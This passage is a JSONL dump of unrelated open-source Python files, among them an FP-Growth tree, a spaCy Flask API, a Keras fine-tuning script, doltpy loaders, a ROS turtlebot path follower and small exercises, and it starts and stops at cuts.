(I2: 4), (I3: 4), ...]\n \"\"\"\n def __appendItems(self, T):\n node = self.headerNode\n TLength = len(T)\n for index in range(TLength):\n # item是否是当前结点的子节点\n itemNotExsited = True\n if node.nodes != None:\n for n in node.nodes:\n # print n.key, T[index]\n if n.key == T[index][0]:\n itemNotExsited = False\n node = n\n break\n\n # 将后一项连接到前一项\n if node.nodes == None or itemNotExsited:\n for _index in range(index, TLength):\n tNode = Node(T[_index][0], T[_index][1])\n node.addChild(tNode)\n node = tNode\n return\n\n\n\n\n\n\n\n\n","sub_path":"FP-Growth/FPGrowth.py","file_name":"FPGrowth.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"80232916","text":"import math\nfrom functools import reduce\ndef is_prime(n):\n\ti = 2\n\twhile i<=math.sqrt(n):\n\t\tif n%i==0:\n\t\t\treturn False\n\t\ti +=1\n\treturn True\n\nnum = 4\nprimes = [2,3]\nwhile num<2000000:\n\tif is_prime(num):\n\t\tprimes.append(num)\n\tnum +=1\n\nprint(reduce(lambda x,y: x+y, primes))","sub_path":"p10.py","file_name":"p10.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"210334565","text":"from tkinter import *\nfrom tkinter.messagebox import askokcancel\nimport pygame.mixer\n\n# Create the GUI application window\napp = Tk()\napp.title(\"Sound Mix\")\n#app.geometry('300x100+200+100')\n\n# Identify DJ's track\nsound_file = \"50459_M_RED_Nephlimizer.wav\"\n# Start the sound system\nmixer = pygame.mixer\nmixer.init()\n\n\n# This function either plays or stops the track based on the state of the checkbox\ndef track_toggle():\n if track_playing.get() == 1:\n track.play(loops=-1)\n else:\n track.stop()\n\n\n# Function to control the volume\ndef change_volume(v):\n track.set_volume(volume.get())\n\n# Lookup the track file\ntrack = mixer.Sound(sound_file)\ntrack_playing = IntVar()\ntrack_button = Checkbutton(app, variable=track_playing, command=track_toggle, text=sound_file)\ntrack_button.pack(side=LEFT)\nvolume = DoubleVar()\nvolume.set(track.get_volume())\nvolume_scale = Scale(app, variable=volume, from_=0.0, to=1.0, resolution=0.1,\n command=change_volume, label=\"Volume\", orient=HORIZONTAL)\nvolume_scale.pack(side=RIGHT)\n\n\n# This function will stop all necessary jobs before shutdown\ndef shutdown():\n if askokcancel(title=\"Are you sure?\", message=\"Do you really want to quit?\"):\n # Stop any paying tracks\n track.stop()\n # Close the application\n app.destroy()\n\napp.protocol(\"WM_DELETE_WINDOW\", shutdown)\n\n# Start the GUI event loop\napp.mainloop()\n","sub_path":"sound-mixer/soundmix_v3.py","file_name":"soundmix_v3.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"293084472","text":"import os\r\nimport torch\r\nimport numpy as np\r\nimport random\r\nfrom torch.autograd import Variable\r\nfrom torch import nn\r\nimport torch.nn.functional as F\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom PIL import Image\r\n#from mxtorch import transforms as tfs\r\nimport torchvision.transforms as tfs\r\nfrom datetime import datetime\r\nimport six\r\nimport glob\r\nimport matplotlib.pyplot as plt\r\n\r\ndef mklabel(myfig,label_paths):\r\n label_imgs=[os.path.join(mydir,myfig+'.png') for mydir in label_paths]\r\n return label_imgs\r\n\r\nvoc_root = '/work/07034/byz/maverick2/Term/Agriculture'\r\ndef read_images(root=voc_root, train=True):\r\n label_names = ['cloud_shadow', 'double_plant', 'planter_skip', 'standing_water', 'waterway', 'weed_cluster']\r\n if train:\r\n rgbdir = os.path.join(root, 'train','images','rgb')\r\n labeldir = [os.path.join(root,'train','labels', label_name) for label_name in label_names]\r\n rgb_fig_names = os.listdir(rgbdir)\r\n fig_ids = [fname[:-4] for fname in rgb_fig_names]\r\n rgb_img = [os.path.join(rgbdir, fig_id + '.jpg') for fig_id in fig_ids]\r\n label_img=[mklabel(fig_id,labeldir) for fig_id in fig_ids]\r\n return rgb_img, label_img\r\n else:\r\n rgbdir = os.path.join(root, 'val', 'images', 'rgb')\r\n labeldir = [os.path.join(root, 'val', 'labels', label_name) for label_name in label_names]\r\n rgb_fig_names = os.listdir(rgbdir)\r\n fig_ids = [fname[:-4] for fname in rgb_fig_names]\r\n rgb_img = [os.path.join(rgbdir, fig_id + '.jpg') for fig_id in fig_ids]\r\n label_img = [mklabel(fig_id, labeldir) for fig_id in fig_ids]\r\n return rgb_img, label_img\r\n\r\ndef img_transforms(img, label):\r\n img_tfs = tfs.Compose([\r\n tfs.ToTensor(),\r\n tfs.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\r\n ])\r\n\r\n img = img_tfs(img)\r\n for i in range(6):\r\n tmp = label[i]\r\n tmp=np.array(tmp)\r\n tmp[tmp > 0] = i+1\r\n label[i] = tmp\r\n tmplabel = label[0]\r\n size0 = np.sum(label[0] > 0)\r\n size1 = np.sum(label[1] > 0)\r\n size2 = np.sum(label[2] > 0)\r\n size3 = np.sum(label[3] > 0)\r\n size4 = np.sum(label[4] > 0)\r\n size5 = np.sum(label[5] > 0)\r\n se = np.argmax([size0, size1, size2, size3, size4, size5])\r\n for i in range(label[0].shape[0]):\r\n for j in range(label[0].shape[1]):\r\n if np.sum([label[0][i][j] > 0, label[1][i][j] > 0, label[2][i][j] > 0,\r\n label[3][i][j] > 0, label[4][i][j] > 0, label[5][i][j] > 0]) > 1:\r\n tmplabel[i][j] = label[se][i][j]\r\n else:\r\n tmplabel[i][j] = np.sum([label[0][i][j], label[1][i][j], label[2][i][j],\r\n label[3][i][j], label[4][i][j], label[5][i][j]])\r\n labels = tmplabel\r\n labels= np.array(labels, dtype='int8')\r\n #labels = torch.from_numpy(labels)\r\n return img, labels\r\n\r\nx=[]\r\ny=[]\r\ndata_list, label_list = read_images(train=False)\r\nprocessdir=\"/work/07034/byz/maverick2/Term/Agriculture/val/processedlabels\"\r\nfor i in range(len(data_list)):\r\n img=data_list[i]\r\n label=label_list[i]\r\n img = Image.open(img)\r\n labels = [Image.open(label[i]) for i in range(6)]\r\n img, labels = img_transforms(img, labels)\r\n Im = Image.fromarray(labels)\r\n outf = os.path.join(processdir,data_list[i][58:-4]+'.png')\r\n Im.save(outf, \"PNG\", quality=100)\r\n print(i)\r\n\r\n###test\r\n#s = Image.open(outf)\r\n#s= np.array(s, dtype='int64')\r\n#x=np.array(labels, dtype='int64')","sub_path":"Pipelines/label_process_val.py","file_name":"label_process_val.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"253115407","text":"cities = {\n\t\"new york\":\n\t\t{\"country\": \"usa\",\n\t\t\"population\": \"8 million\",\n\t\t\"fact\": \"One of the world's major commercial, financial and cultural centers.\"},\n\t\"paris\":\n\t\t{\"country\": \"france\",\n\t\t\"population\": \"2 million\",\n\t\t\"fact\": \"Home of the Eiffel Tower.\"},\n\t\"pyongyang\":\n\t\t{\"country\": \"north korea\",\n\t\t\"population\": \"3 million\",\n\t\t\"fact\": \"Area Code: 2\"}\n\t}\n\t\nfor city, infoDict in cities.items():\n\tprint(city + \": \")\n\tfor key, value in infoDict.items():\n\t\tprint(key + \" : \" + value)\n\t\n","sub_path":"ex/ch6-11.py","file_name":"ch6-11.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"111606666","text":"from collections import OrderedDict\n\nimport numpy as np\nfrom bokeh.charts import Horizon\n\n\nx = np.linspace(0, np.pi*4, 137)\ny = (2*np.random.normal(size=137) + x**2)\nxx = np.hstack([-1*x[::-1], x])\nyy = np.hstack([-1*y[::-1], y])\nxyvalues = OrderedDict(x=xx, y=yy, y2=yy, y3=yy, y4=yy, y5=yy)\n\nh = Horizon(xyvalues, index='x', title=\"test horizon\", ylabel='Random', filename=\"horizon_folds.html\")\nh.show()\n\n","sub_path":"examples/charts/horizon_folds.py","file_name":"horizon_folds.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"165097006","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport spacy\nimport os\nimport time\nfrom flask import Flask\nfrom flask_restful import reqparse, Api, Resource\nfrom matcher import detect_uncertainty\n\nlanguage = os.environ['LANG'] or 'en'\n\nprint(\"Loading Language Model for '%s'...\" % language)\nnlp = spacy.load(language)\nprint(\"Language Model for '%s' loaded!\" % language)\n\napp = Flask(\"spaCy API\")\napi = Api(app)\n\nparser = reqparse.RequestParser()\nparser.add_argument('text', type=str, location='json')\nparser.add_argument('texts', type=list, location='json')\nparser.add_argument('fields', type=list, default=[], location='json')\nparser.add_argument('poses', type=list, default=[], location='json')\nparser.add_argument('tags', type=list, default=[], location='json')\nparser.add_argument('ners', type=list, default=[], location='json')\n\nclass Spacy(Resource):\n\n def get(self):\n return 200\n\n def post(self):\n t0 = time.time()\n args = parser.parse_args()\n print(args)\n validation = self.__validate_input(args)\n if validation:\n return validation, 500\n\n ret = {\n 'version': '1.2.0',\n 'lang': language\n }\n\n if args.get('text'):\n # Analyze only a single text\n ret.update(\n self.__analyze(args.get('text'), args.get('fields'), args.get('poses'), args.get('tags'), args.get('ners')))\n elif args.get('texts'):\n ret['texts'] = [\n self.__analyze(text, args.get('fields'), args.get('poses'), args.get('tags'), args.get('ners'))\n for text in args.get('texts')]\n ret['numOfTexts'] = len(args.get('texts'))\n\n ret['performance'] = time.time() - t0,\n ret['error'] = False\n return ret, 200, {'Access-Control-Allow-Origin': '*'}\n\n @staticmethod\n def __validate_input(args: dict):\n message = \"\"\n if not args.get('text') and not args.get('texts'):\n message = \"No text(s) received.\"\n if args.get('texts') and not isinstance(args.get('texts'), list):\n message = 'Wrong format for \"texts\". A list of strings is required.',\n if message:\n return {\n 'message': message,\n 'error': True\n }\n return None\n\n @staticmethod\n def __analyze(text: str, fields: list, poses: list, tags: list, ners:list):\n doc = nlp(text)\n if ners:\n if \"UNCERTAINTY\" in ners:\n doc = detect_uncertainty(nlp.vocab,doc)\n \n ret = {\n 'numOfSentences': len(list(doc.sents)),\n 'numOfTokens': len(list(doc)),\n 'data': []\n }\n\n for sent_index, sentence in enumerate(doc.sents): \n sentence_analysis = [{\n 'token': w.orth_,\n 'lemma': w.lemma_,\n 'tag': w.tag_,\n 'ner': w.ent_type_,\n 'deps': [d for d in map(lambda x: {'dep_type':x.dep_, 'offsets':{'begin':x.idx, 'end':x.idx+len(x.orth_)}, 'token':x.orth_, 'tag':x.tag_}, w.subtree)],\n 'begin': w.idx,\n 'end': w.idx + len(w.orth_),\n 'oov': w.is_oov,\n 'stop': w.is_stop,\n 'url': w.like_url,\n 'email': w.like_email,\n 'num': w.like_num,\n 'pos': w.pos_,\n 'sentence_index': sent_index,\n 'conceptType':'uncertainty'\n } for w in sentence]\n if fields:\n # Remove certain fields if requested\n sentence_analysis = [\n dict([(k, v) for k, v in token.items() if k in fields])\n for token in sentence_analysis\n ]\n\n if len(ners)>0:\n temp=[]\n for token in sentence_analysis:\n if token[\"ner\"] in ners:\n temp.append(token)\n ret['data']+=temp\n elif len(poses)>0:\n temp = []\n for token in sentence_analysis:\n if token[\"pos\"] in poses:\n temp.append(token)\n ret['data']+=temp\n elif len(tags)>0:\n temp = []\n for token in sentence_analysis:\n if token[\"tag\"] in tags:\n temp.append(token)\n ret['data']+=temp\n else:\n ret['data'].append(sentence_analysis)\n return ret\n\napi.add_resource(Spacy, '/api')\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=os.environ.get('PORT') or 5000)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"348562220","text":"from keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras.models import Sequential, load_model\n\nbatch_size = 16\ntrain_images_count = 25000\nvalidate_images_count = 2500\n\nmodel = load_model(\"great_model\")\n#prepare for 3 classes\nmodel.summary()\nmodel.pop()\nmodel.add(Dense(3, activation='softmax', name=\"final_layer\"))\n\nmodel.compile(loss='categorical_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n\nimage_datagen = ImageDataGenerator(rescale = 1./255)\n\ntrain_generator = image_datagen.flow_from_directory(\n 'data/train',\n target_size=(150, 150),\n batch_size=batch_size,\n class_mode='categorical'\n)\n\nvalidation_generator = image_datagen.flow_from_directory(\n 'data/validation',\n target_size=(150, 150),\n batch_size=batch_size,\n class_mode='categorical'\n)\n\n# 1 epochoj 500 (steps_per_epoch) kartu yra paimama po 16 (batch_size) fotkiu\n# ir paleidziama per tinkla\nmodel.fit_generator(\n train_generator,\n steps_per_epoch=train_images_count // batch_size,\n epochs=10,\n validation_data=validation_generator,\n validation_steps=validate_images_count // batch_size\n)\n\nprint(validation_generator.class_indices)\nmodel.save('great_model_ducks')\n\n","sub_path":"continue_training.py","file_name":"continue_training.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"78907606","text":"from doltpy.core import Dolt\nimport os\nimport tempfile\nfrom doltpy.etl.loaders import DoltLoader\nfrom doltpy.core.system_helpers import get_logger\nfrom typing import List, Union\n\nlogger = get_logger(__name__)\n\n\ndef load_to_dolthub(loader_or_loaders: Union[DoltLoader, List[DoltLoader]],\n clone: bool,\n push: bool,\n remote_name: str,\n remote_url: str,\n dolt_dir: str = None,\n dry_run: bool = False):\n \"\"\"\n This function takes a `DoltLoaderBuilder`, repo and remote settings, and attempts to execute the loaders returned\n by the builder.\n :param loader_or_loaders:\n :param dolt_dir:\n :param clone:\n :param push:\n :param remote_name:\n :param dry_run:\n :param remote_url:\n :return:\n \"\"\"\n if type(loader_or_loaders) == list:\n loaders = loader_or_loaders\n else:\n loaders = [loader_or_loaders]\n\n if clone:\n assert remote_url, 'If clone is True then remote must be passed'\n temp_dir = tempfile.mkdtemp()\n logger.info('Clone is set to true, so ignoring dolt_dir')\n if clone:\n logger.info('Clone set to True, cloning remote {}'.format(remote_url))\n repo = Dolt.clone(remote_url, temp_dir)\n else:\n assert os.path.exists(os.path.join(dolt_dir, '.dolt')), 'Repo must exist locally if not cloned'\n repo = Dolt(dolt_dir)\n\n logger.info(\n '''Commencing to load to DoltHub with the following options:\n - dolt_dir {dolt_dir}\n - clone {clone}\n - remote {remote}\n - push {push}\n '''.format(dolt_dir=repo.repo_dir,\n push=push,\n clone=clone,\n remote=remote_name))\n\n if not dry_run:\n for dolt_loader in loaders:\n branch = dolt_loader(repo)\n if push:\n logger.info('Pushing changes to remote {} on branch {}'.format(remote_name, branch))\n repo.push(remote_name, branch)\n\n\ndef load_to_dolt(loader_or_loaders: Union[DoltLoader, List[DoltLoader]], dolt_dir: str, dry_run: bool):\n \"\"\"\n This function takes a `DoltLoaderBuilder`, repo and remote settings, and attempts to execute the loaders returned\n by the builder.\n :param loader_or_loaders:\n :param dolt_dir:\n :param dry_run:\n :return:\n \"\"\"\n if type(loader_or_loaders) == list:\n loaders = loader_or_loaders\n else:\n loaders = [loader_or_loaders]\n\n logger.info(\n '''Commencing load to Dolt with the following options:\n - dolt_dir {dolt_dir}\n '''.format(dolt_dir=dolt_dir)\n )\n\n if not dry_run:\n for dolt_loader in loaders:\n dolt_loader(Dolt(dolt_dir))\n","sub_path":"doltpy/etl/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"151197381","text":"#! /usr/bin/env python3\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport rospy\nimport random\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import Point\nfrom turtlesim.msg import Pose\nimport tf\nfrom nav_msgs.msg import Odometry\n\npoints = [(1.5, 1.5), (1.5, -1.5), (-1.5, -1.5), (-1.5, 1.5)]\npoint = (0, 0)\n\nclass RndVelocityGen:\n def __init__(self):\n rospy.init_node('random_velocity')\n rospy.loginfo(\n \"CTRL + C to stop the turtlebot\")\n rospy.on_shutdown(self.shutdown)\n self.vel_pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)\n # self.pose_Subscriber = rospy.Subscriber('/pose', Pose, self.update_pose)\n self.pose = Pose()\n self.plot_x = []\n self.plot_y = []\n self.vel = Twist()\n self.vel.linear.x = 0.5 # m/s\n self.vel.angular.z = 0.5 # rad/s\n self.max_interval = 10\n self.start_time = rospy.get_rostime().secs\n self.tmp = 0\n self.i_error = 0\n self.counter = 0\n self.locations = self.archimedean_finder(0.5, 0.1)\n self.average_error = 0\n\n # def update_pose(self, data):\n # self.pose = data\n # self.pose.x = round(self.pose.x, 4)\n # self.pose.y = round(self.pose.y, 4)\n\n def location_finder(self, a, b, ds):\n s = np.linspace(0, 2 * math.pi, int(2 * math.pi * (1 / ds)))\n x = a * np.cos(s)\n y = b * np.sin(s)\n return (x, y)\n def archimedean_finder(self, c, ds):\n s = np.linspace(0, 4 * math.pi, int(4 * math.pi * (1 / ds)))\n x = c * s * np.cos(s)\n y = c * s * np.sin(s)\n return (x, y)\n\n def steering_angle(self, point):\n # print(\"SELF POS IN STEERING : \", (self.pose.x, self.pose.y))\n\n return math.atan2(point.y - self.pose.y, point.x - self.pose.x)\n\n def angular_error(self, point):\n # print(\"ANGULAR_ERROR theta :\", self.pose.theta,\n # \"Steering angle\", self.steering_angle(point),\n # \"Result\", self.steering_angle(point) - self.pose.theta)\n\n return self.steering_angle(point) - self.pose.theta\n\n def dist(self, pos1):\n return math.sqrt(((pos1.x - self.pose.x) ** 2) + ((pos1.y - self.pose.y) ** 2))\n\n def set_vel(self):\n\n while not rospy.is_shutdown():\n while self.counter < 2:\n data_odom = None\n while data_odom is None:\n try:\n data_odom = rospy.wait_for_message(\"/odom\", Odometry, timeout=1)\n # data_twist = rospy.wait_for_message(\"/change\", Twist, timeout=1)\n self.pose.x = data_odom.pose.pose.position.x\n self.pose.y = data_odom.pose.pose.position.y\n quaternion = (data_odom.pose.pose.orientation.x, data_odom.pose.pose.orientation.y,\n data_odom.pose.pose.orientation.z, data_odom.pose.pose.orientation.w)\n\n (roll, pitch, theta) = tf.transformations.euler_from_quaternion(quaternion)\n print(\"THETA = \", theta)\n self.pose.theta = theta\n # print(\"calculated theta = \", math.atan2(self.pose.x, self.pose.y))\n # print(\"DATA_ODOM : \", data_odom.pose.pose.position)\n # print(\"DATA_ODOM ANGLE :\", self.pose.theta)\n except:\n rospy.loginfo(\"CANT FIND ODOM\")\n if rospy.is_shutdown():\n break\n # self.pose.theta = data_odom.\n point = Pose()\n # point.x = points[self.tmp][0]\n # point.y = points[self.tmp][1]\n # goal_x = points[self.tmp][0]\n # goal_y = points[self.tmp][1]\n point.x, point.y = self.locations[0][self.tmp], self.locations[1][self.tmp]\n # goal_x, goal_y = self.locations[self.tmp][0], self.locations[self.tmp][1]\n\n safe_dist = 0.18\n if self.counter == 0:\n self.plot_x.append(self.pose.x)\n self.plot_y.append(self.pose.y)\n distance_error = self.dist(point)\n\n if distance_error < safe_dist:\n if self.counter == 0:\n self.average_error += distance_error\n print(distance_error)\n self.tmp += 1\n self.i_error = 0\n\n if self.tmp == 610:\n self.tmp = 1\n self.counter += 1\n\n # point.x = points[self.tmp][0]\n # point.y = points[self.tmp][1]\n # goal_x = points[self.tmp][0]\n # goal_y = points[self.tmp][1]\n ds = 0.1 * self.tmp\n # print(self.locations)\n print(self.locations[0][self.tmp], self.locations[1][self.tmp])\n\n goal_x, goal_y = self.locations[0][self.tmp], self.locations[1][self.tmp]\n # goal_x = goal[0]\n # goal_y = goal[1]\n print(\"GOAL X, Y\", (goal_x, goal_y))\n\n x_dif = goal_x - self.pose.x\n y_dif = goal_y - self.pose.y\n\n angular_error = self.angular_error(point)\n x_forward = 0.47\n p_constant = 1.6\n i_constant = 0.16\n angle_to_goal = math.atan2(y_dif, x_dif)\n z_counterclock = 0\n angle_to_goal = angle_to_goal - self.pose.theta\n if angle_to_goal > math.pi:\n angle_to_goal -= 2 * math.pi\n if angle_to_goal < -math.pi:\n angle_to_goal += 2 * math.pi\n self.i_error += angle_to_goal\n # i_adder = self.i_error\n if abs(angle_to_goal) > 0.05:\n z_counterclock = p_constant * (angle_to_goal) + i_constant * (self.i_error)\n # x_forward = 0\n print(\"Angular_error = \", angular_error)\n # if abs(angular_error) < 0.7:\n # print(\"pichesh 0\")\n # z_counterclock = 0\n # x_forward = 0.9\n\n print(\"ANGULAR Result : \", z_counterclock)\n\n self.vel.linear.x = x_forward\n print(\"linear speed\", self.vel.linear.x)\n # print(\"ANGULAR VEL : \", self.vel.angular)\n self.vel.angular.z = z_counterclock\n print(\"counter \", self.counter)\n print(\"SELF = \", self.pose)\n print(\"LOCATION Follower\", self.tmp)\n print(\"DISTANCE = \", distance_error)\n\n self.vel_pub.publish(self.vel)\n now = rospy.get_rostime()\n print(\"Time now: \", now.secs)\n next = 0.05\n rospy.loginfo(\"Twist: [%5.3f, %5.3f], next change in %i secs - \", self.vel.linear.x, self.vel.angular.z,\n next)\n # print(\"plot x\", self.plot_x)\n # plt.plot(self.plot_x, self.plot_y)\n # plt.plot(self.locations[0], self.locations[1])\n # plt.legend([\"Dataset 1\", \"Dataset 2\"])\n # plt.savefig(\"plots_1.pdf\")\n\n rospy.sleep(next)\n # rospy.spin()\n\n self.shutdown()\n\n def shutdown(self):\n print(\"Shutdown!\")\n\n rospy.loginfo(\"Stop TurtleBot\")\n # print(\"plot x\", self.plot_x)\n plt.plot(self.plot_x, self.plot_y)\n print(\"average error : \", self.average_error / len(self.locations))\n plt.text(1, 1.5, rf'average error = {self.average_error / len(self.locations)}',\n fontsize=10)\n plt.plot(self.locations[0], self.locations[1])\n plt.legend([\"Dataset 1\", \"Dataset 2\"])\n plt.savefig(\"plots_1.pdf\")\n\n self.vel.linear.x = 0.0\n self.vel.angular.z = 0.0\n self.vel_pub.publish(self.vel)\n rospy.sleep(1)\n\n\nif __name__ == '__main__':\n try:\n generator = RndVelocityGen()\n generator.set_vel()\n\n except rospy.ROSInterruptException:\n pass","sub_path":"catkin_ws1/src/random_control/src/point_follower.py","file_name":"point_follower.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"29156676","text":"# groceries = {\n# \"Baby Spinach\": 2.78,\n# \"Hot Chocolate\": 3.70,\n# \"Crackers\": 2.10,\n# \"Bacon\": 9.00,\n# \"Carrots\": 0.56,\n# \"Oranges\": 3.08,\n# }\n\n# quantity = {\n# \"Baby Spinach\": 1,\n# \"Hot Chocolate\": 3,\n# \"Crackers\": 2,\n# \"Bacon\": 1,\n# \"Carrots\": 4,\n# \"Oranges\": 2\n# }\n\n# for item in groceries:\n# print(f\"{quantity[item]} {item} @ ${groceries[item]} = {quantity[item] * groceries[item]:.2f}\")\n\n#Q2\n\n# colour_counts = {\n# \"blue\": 0,\n# \"green\": 0,\n# \"yellow\": 0,\n# \"red\": 0,\n# \"purple\": 0,\n# \"orange\": 0,\n# }\n\n# colours = [\"purple\",\"red\",\"yellow\",\"blue\",\"purple\",\"orange\",\"blue\",\"purple\",\"orange\",\"green\"]\n\n# for colour in colours:\n# colour_counts[colour] += 1\n# print(colour_counts)\n\n#Q3\n\n# names = [\"Maddy\",\"Bel\", \"Elnaz\", \"Gia\", \"Izzy\", \n# \"Joy\", \"Katie\", \"Maddie\", \"Tash\", \"Nic\",\"Rachael\", \n# \"Bec\", \"Bec\", \"Tabitha\", \"Teagen\",\"Viv\", \"Anna\", \"Catherine\", \n# \"Catherine\", \"Debby\",\"Gab\", \"Megan\", \"Michelle\", \"Nic\", \n# \"Roxy\",\"Samara\", \"Sasha\", \"Sophie\", \"Teagen\", \"Viv\"]\n\n# names_dict = {}.fromkeys(names,0)\n\n# for name in names:\n# names_dict[name] += 1\n\n# print(names_dict)\n\n#Q4\n# import csv\n\n# colour_dict = {}\n\n# with open(\"colours_20_simple.csv\", mode=\"r\") as csv_file:\n# csv_reader = csv.reader(csv_file, delimiter=\",\")\n# next(csv_reader)\n# for line in csv_reader:\n# colour_dict[line[1]] = line[2]\n# print(colour_dict)\n\n\n#Q5\nimport csv\n\ncolour_dict = {}\n\nwith open(\"colours_20_simple.csv\", mode=\"r\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\",\")\n next(csv_reader)\n for line in csv_reader:\n colour_dict[line[1]] = [line[0], line[2]]\nprint(colour_dict)\n\n","sub_path":"exercises/dictonary_ex.py","file_name":"dictonary_ex.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"574558592","text":"from setuptools import setup\nimport os\n\nVERSION='1.2.2'\n\nsetup(\n author='Alex Clark',\n author_email='aclark@aclark.net',\n description='Easy access to PyPI download stats',\n entry_points={\n 'console_scripts': 'vanity = vanity:main'\n },\n include_package_data=True,\n install_requires=[\n# 'blessings',\n 'requests',\n ],\n long_description=(open('README.rst').read() + open(\n os.path.join('docs', 'HISTORY.txt')).read()),\n maintainer='pythonpackages',\n maintainer_email='info@pythonpackages.com',\n name='vanity',\n py_modules=[\n 'vanity'\n ],\n url='https://github.com/aclark4life/vanity',\n version=VERSION,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"518502086","text":"from diesel.score import Predicate, parse_s_predicate, FALLBACK_SCORE\nimport os\nimport sys\n\n\nclass Library:\n @staticmethod\n def name():\n return \"MAX\"\n\n def acceptable_edge(self, edge):\n return True\n\n def __init__(self, library, ontology, pred_type=Predicate, node_cutoff=0.0):\n \"\"\"library file will have a single predicate per line\"\"\"\n self.ontology = ontology\n data = [parse_s_predicate(line, ontology, pred_type)\n for line in library]\n self.data = [d for d in data if (len(d.links) > 0 and d.root is not None and all([l[1] is not None for l in d.links]))]\n for d in self.data:\n for index, link in enumerate(d.links):\n if not self.acceptable_edge(link[0]):\n del d.link[index]\n self.pred_type = pred_type\n self.adjustment_range = 0.1\n self.node_cutoff = node_cutoff\n self.filter_cache = {}\n\n @classmethod\n def copy_from(cls, other):\n \"\"\"\n copy the contents of another library\n :param other: the other library to get attributes and data from\n :return: the new library\n \"\"\"\n data = [str(d) for d in other.data]\n return cls(data, other.ontology, other.pred_type, other.node_cutoff)\n\n def filter_library(self, predicate):\n \"\"\"\n gather the predicates in data that 'cover' the incoming predicate\n :param predicate:\n :return: a list of compatible predicates\n \"\"\"\n links = sorted([l[0] for l in predicate.links if self.acceptable_edge(l[0])])\n if len(links) == 0:\n return []\n id = \" \".join(sorted(links))\n if id in self.filter_cache:\n return self.filter_cache[id]\n acceptable = []\n for p in self.data:\n plinks = sorted([l[0] for l in p.links])\n if len(links) > len(plinks):\n continue\n else:\n ctr = 0\n for i in plinks:\n if i == links[ctr]:\n ctr += 1\n if ctr == len(links):\n break\n if ctr < len(links):\n continue\n acceptable.append(p)\n self.filter_cache[id] = acceptable\n return acceptable\n\n def score(self, pred, return_match=False, pred_type=None):\n \"\"\"\n Scores a predicate against the library\n :param pred: The predicate to be scored\n :param return_match: Whether or not the match itself should be returned\n :param pred_type: the predicate type (scoring mechanism) to be used\n :return: (match, score) if return_match, score otherwise\n \"\"\"\n if pred_type is None:\n pred_type = self.pred_type\n if type(pred) is str:\n pred = parse_s_predicate(pred, self.ontology, pred_type=pred_type)\n\n pred.node_cutoff = self.node_cutoff\n if len(pred.links) < 1:\n return \"UNK\", (FALLBACK_SCORE, \"Not large enough\")\n if pred.has_node_value(node=None) or pred.root is None:\n if return_match:\n return \"UNK\", (FALLBACK_SCORE, \"unable to identify types in predicate\")\n else:\n return FALLBACK_SCORE, \"unable to identify types in predicate\"\n filtered_library = self.filter_library(pred)\n if return_match:\n scores = [(p, pred.score(p)) for p in filtered_library]\n if len(scores) == 0:\n return \"UNK\", (FALLBACK_SCORE, [\"UNK\"])\n return self.score_selector(scores, lambda x: x[1][0], match=return_match)\n else:\n scores = [pred.score(p) for p in filtered_library]\n if len(scores) == 0:\n return FALLBACK_SCORE, \"UNK\"\n return self.score_selector(scores, lambda x: x[0], match=return_match)\n\n def score_selector(self, scores, key, match=False):\n result = max(scores, key=key)\n return result\n\n def adjustment_factor(self, pred, return_match=False, pred_type=None):\n \"\"\"\n same as score except returns an adjustment_factor between\n 1-self.adjustment_range and 1+self.adjustment_range\n :param pred:\n :param return_match:\n :param pred_type:\n :return: (match, adjustment_factor) if return_match, adjustment_factor otherwise\n \"\"\"\n if return_match:\n match, score = self.score(pred, return_match, pred_type)\n score = score[0]\n else:\n score = self.score(pred, return_match, pred_type)\n # score = score * score # use the square of the score\n adj = 1 - self.adjustment_range/2 + (score*self.adjustment_range)\n adj = max(adj, 1.0)\n # adj = 1 + score*self.adjustment_range\n if return_match:\n return match, adj\n else:\n return adj\n\n\nclass MinLibrary(Library):\n def score_selector(self, scores, key, match=False):\n return min(scores, key=key)\n\n @staticmethod\n def name():\n return \"MIN\"\n\n\nclass MedianLibrary(Library):\n def score_selector(self, scores, key, match=False):\n l = len(scores) // 2\n if len(scores) % 2 == 1 and l+1>> ota = OxfordTextArchive()\n >>> ota.download()\n >>> ota.info\n {'data_dir': 